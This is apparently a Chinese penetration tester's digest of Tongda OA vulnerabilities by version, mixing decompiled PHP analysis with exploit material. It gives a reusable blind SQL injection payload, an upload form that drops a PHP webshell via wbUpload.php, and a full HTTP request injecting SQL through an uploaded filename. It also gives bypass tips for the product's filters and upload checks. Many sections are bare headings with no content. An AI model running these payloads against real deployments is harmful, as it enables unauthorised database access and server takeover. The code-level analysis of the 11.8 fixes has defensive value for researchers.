通达oa漏洞整理
已公开
时间线
记录:2020年起爆出的漏洞
资源提取码
qius
盲注统一payload
RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
或者get_lock时间盲注也可以
or if(1=1,1,get_lock(123,2) )
任意文件上传-2013/2015版本
影响版本
漏洞文件
- general/vmeet/wbUpload.php
exp
1 2 3 4 5
| <form enctype="multipart/form-data" action="http://x.x.x/general/vmeet/wbUpload.php ?fileName=test.php+" method="post"> <input type="file" name="Filedata" size="50"><br> <input type="submit" value="Upload"> </form>
|
shell地址为
http://x.x.x/general/vmeet/wbUpload/test.php
任意管理登录/文件上传/任意文件包含
2020-03
UID登录
影响版本
- 通达OA 2017版
- 通达OA V11.X<V11.5
漏洞复现
漏洞分析
文件上传&文件包含
漏洞复现
包含地址区别
- 2013:
/ispirit/interface/gateway.php
- 2017:
/mac/gateway.php
- v11.x:
/ispirit/interface/gateway.php
11.5版未授权sql注入
2020-09
未授权sql注入
影响版本
漏洞复现
漏洞利用
- 注入处在线的用户,使用session直接登录,进一步渗透
11.7后台注入/getshell
影响版本
漏洞复现
delete_cascade.php和delete_result.php均存在
11.8中貌似也可以构造
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| require_once "inc/auth.inc.php"; include_once "inc/utility_file.php"; include_once "inc/utility_field.php"; ob_start(); $condition_cascade = $_GET["condition_cascade"]; $condition_cascade = td_authcode($condition_cascade, "DECODE"); $condition_cascade = ((strpos($condition_cascade, "user()") !== false) || (strpos($condition_cascade, "substr") !== false) || (strpos($condition_cascade, "if") !== false) || (strpos($condition_cascade, "grant") !== false) || (strpos($condition_cascade, "Password") !== false) || (strpos($condition_cascade, "general") !== false) ? "" : $condition_cascade); include_once "inc/header.inc.php"; echo "\r\n<body class=\"bodycolor\">\r\n";
if ($condition_cascade != "") { $query = str_replace("\'", "'", $condition_cascade); $cursor = exequery(TD::conn(), $query);
|
经过测试strpos函数区分大小写,可被绕过
td_authcode函数的解码,可以把注入语句通过语句先编码
后续如果用到,在跟进
类似文件 batch_exec_query.php,一会跟
inc/attach.php.文件操作
ugo.php
变量覆盖&编码注入
影响版本
漏洞复现
下载的11.8好像把变量覆盖修复了,11.7应该还存在,也可能是我解码解的不太对
任意文件删除/getshell
影响版本
- <11.5&11.6
- 小于11.5是文件删除,11.6版本是未授权上传
漏洞复现
SSRF+Redis getshell
影响版本
漏洞复现
11.7 文件上传+文件包含
影响版本
漏洞复现
11.8 文件上传
影响版本
漏洞复现
11.9前台RCE
未公开
之前哪个未授权,再2017版并不好用
未授权SQL注入
影响版本
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if (strstr($FILE_NAME, '/') || strstr($FILE_NAME, '\\')) { handleerror(_('文件名无效')); } if (!is_uploadable($FILE_NAME)) { handleerror(_('禁止上传该类文件')); } if (file_exists($_FILES['Filedata']['tmp_name'])) { $ATTACH_NAME = $FILE_NAME; $SUBJECT = substr($FILE_NAME, 0, strrpos($FILE_NAME, '.')); $sql = 'SELECT * from file_content where SUBJECT=\'' . $SUBJECT . '\' and SORT_ID=\'' . $SORT_ID . '\' '; $cursor = exequery(TD::conn(), $sql); if ($ROW = mysql_fetch_array($cursor)) { $time = time(); $SUBJECT = $SUBJECT . $time; }
|
文件名存在注入
限制是不能存在(.)
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /general/file_folder/swfupload.php HTTP/1.1 Host: xxx:9001 Content-Length: 190 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Origin: http://xxx:9001 Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx:9001/general/file_folder/swfupload_new.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7 Cookie: PHPSESSID=1eapjgv5pmomsgvo1a0s7s4p73; KEY_RANDOMDATA=11239 Connection: close
------------GFioQpMK0vv2 Content-Disposition: form-data; name="Filedata";filename="1' RLIKE (SELECT (CASE WHEN (2=1) THEN 1 ELSE 0x28 END)) or '1 .txt"
aaaaa ------------GFioQpMK0vv2--
|
报错截图

成功截图

文件名不受通达的GPC限制
其他
全局变量覆盖的修复
推荐在线解密common.inc.php
11.5版本
只是过滤了$_SERVER
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value) { if (!is_array($s_value)) { $_COOKIE[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_COOKIE[$s_key]; } reset($_COOKIE); } if (0 < count($_POST)) { $arr_html_fields = array(); foreach ($_POST as $s_key => $s_value) { if (substr($s_key, 0, 7) == '_SERVER') { continue; } if (substr($s_key, 0, 15) != 'TD_HTML_EDITOR_') { if (!is_array($s_value)) { $_POST[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_POST[$s_key]; } else { if ($s_key == 'TD_HTML_EDITOR_FORM_HTML_DATA' || $s_key == 'TD_HTML_EDITOR_PRCS_IN' || $s_key == 'TD_HTML_EDITOR_PRCS_OUT' || $s_key == 'TD_HTML_EDITOR_QTPL_PRCS_SET' || isset($_POST['ACTION_TYPE']) && ($_POST['ACTION_TYPE'] == 'approve_center' || $_POST['ACTION_TYPE'] == 'workflow' || $_POST['ACTION_TYPE'] == 'sms' || $_POST['ACTION_TYPE'] == 'wiki') && ($s_key == 'CONTENT' || $s_key == 'TD_HTML_EDITOR_CONTENT' || $s_key == 'TD_HTML_EDITOR_TPT_CONTENT')) { unset($_POST[$s_key]); $s_key = $s_key == 'CONTENT' ? $s_key : substr($s_key, 15); ${$s_key} = addslashes($s_value); $arr_html_fields[$s_key] = ${$s_key}; } else { $encoding = mb_detect_encoding($s_value, 'GBK,UTF-8'); unset($_POST[$s_key]); $s_key = substr($s_key, 15); ${$s_key} = addslashes(rich_text_clean($s_value, $encoding)); $arr_html_fields[$s_key] = ${$s_key}; } } } reset($_POST); $_POST = array_merge($_POST, $arr_html_fields); } if (0 < count($_GET)) { foreach ($_GET as $s_key => $s_value) { if (substr($s_key, 0, 7) == '_SERVER') { continue; } if (!is_array($s_value)) { $_GET[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_GET[$s_key]; } reset($_GET); } unset($s_key); unset($s_value);
|
11.8版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value) { if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') { continue; } if (!is_array($s_value)) { $_COOKIE[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_COOKIE[$s_key]; } reset($_COOKIE); } if (0 < count($_POST)) { $arr_html_fields = array(); foreach ($_POST as $s_key => $s_value) { if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') { continue; } if (substr($s_key, 0, 15) != 'TD_HTML_EDITOR_') { if (!is_array($s_value)) { $_POST[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_POST[$s_key]; } else { if ($s_key == 'TD_HTML_EDITOR_FORM_HTML_DATA' || $s_key == 'TD_HTML_EDITOR_PRCS_IN' || $s_key == 'TD_HTML_EDITOR_PRCS_OUT' || $s_key == 'TD_HTML_EDITOR_QTPL_PRCS_SET' || isset($_POST['ACTION_TYPE']) && ($_POST['ACTION_TYPE'] == 'approve_center' || $_POST['ACTION_TYPE'] == 'workflow' || $_POST['ACTION_TYPE'] == 'sms' || $_POST['ACTION_TYPE'] == 'wiki') && ($s_key == 'CONTENT' || $s_key == 'TD_HTML_EDITOR_CONTENT' || $s_key == 'TD_HTML_EDITOR_TPT_CONTENT')) { unset($_POST[$s_key]); $s_key = $s_key == 'CONTENT' ? $s_key : substr($s_key, 15); ${$s_key} = addslashes($s_value); $arr_html_fields[$s_key] = ${$s_key}; } else { $encoding = mb_detect_encoding($s_value, 'GBK,UTF-8'); unset($_POST[$s_key]); $s_key = substr($s_key, 15); ${$s_key} = addslashes(rich_text_clean($s_value, $encoding)); $arr_html_fields[$s_key] = ${$s_key}; } } } reset($_POST); $_POST = array_merge($_POST, $arr_html_fields); } if (0 < count($_GET)) { foreach ($_GET as $s_key => $s_value) { if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') { continue; } if (!is_array($s_value)) { $_GET[$s_key] = addslashes(strip_tags($s_value)); } ${$s_key} = $_GET[$s_key]; } reset($_GET); } unset($s_key); unset($s_value);
|
事实上依然存在$_REQUEST的覆盖问题,并且产生一些注入,只不过未发现未授权的,需要登陆的,其实漏洞存在好多,但是基于没办法堆叠,密码又解不开,所以没什么必要

通达oa的上传流程
核心方法is_uploadable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| function is_uploadable($FILE_NAME, $checkpath, $func_name) { $EXT_NAME = ""; $POS = strrpos($FILE_NAME, ".");
if ($POS === false) { $EXT_NAME = $FILE_NAME; } else { $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1)); $EXT_NAME = filename_valid($EXT_NAME); if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) { return false; } }
if ($checkpath && !td_path_valid($FILE_NAME, $func_name)) { return false; }
if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) { return false; }
if (MYOA_UPLOAD_LIMIT == 0) { return true; } else if (MYOA_UPLOAD_LIMIT == 1) { return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME); } else if (MYOA_UPLOAD_LIMIT == 2) { return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME); } else { return false; } }
|
共调用三个自写方法filename_valid、td_path_valid、find_id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| function filename_valid($filename) { return str_replace(array("/", "\\", "'", "\"", ":", "*", "?", "<", ">", "|"), "", $filename); } ... ... function td_path_valid($source, $func_name) { $source_arr = pathinfo($source); $source = realpath($source_arr["dirname"]); $basename = strtolower($source_arr["basename"]);
if ($source === false) { return false; }
if ($func_name == "td_fopen") { $whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,"; if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) { return true; } }
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) { return false; } else { return true; } } ... ... function find_id($STRING, $ID) { $STRING = ltrim($STRING, ","); if (($ID == "") || ($ID == ",") || is_array($ID)) { return false; }
if (substr($STRING, -1) != ",") { $STRING .= ","; }
if (0 < strpos($STRING, "," . $ID . ",")) { return true; }
if (strpos($STRING, $ID . ",") === 0) { return true; }
if (!strstr($ID, ",") && ($STRING == $ID)) { return true; }
return false; }
|
对比了下之前版本的filename_valid、td_path_valid都是新加上去的
这种不存在直接上传getshell了
限制了目录attachment,这个目录nginx配置了不让访问
但是整体上类似如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| require_once "inc/auth.inc.php"; include_once "inc/PHPExcel/PHPExcel.php"; include_once "inc/utility_all.php"; include_once "general/reportshop/utils/utils.func.php"; include_once "inc/TSecurity/TSecurity.inc.php"; $d_time = GetCurCalender(); $s_dir = MYOA_ATTACH_PATH . "reportshop/attachment/";
if (!is_dir($s_dir)) { mkdir($s_dir); }
$s_dir .= time() . "/";
if (!is_dir($s_dir)) { mkdir($s_dir); }
$file_name = $_FILES["s_f"]["name"];
if ($file_name != "") { CopyFile($_FILES["s_f"]["tmp_name"], $s_dir . $file_name); }
|
文件名完全可控的时候
鉴于通达的权限,可操作的地方依然很多
毕竟通达存在td_rename、td_copy、td_move_upload_file、td_file_put_contents,
看了下11.8之前的文件上传,都是可以通过.php.:之类的来绕过的
end
先这些吧
总之11.8其实修复还是蛮大的
- 解决了多年来的上传问题,让获取shell更加困难
- 解决了祖传的变量覆盖问题,让许多注入点化做泡影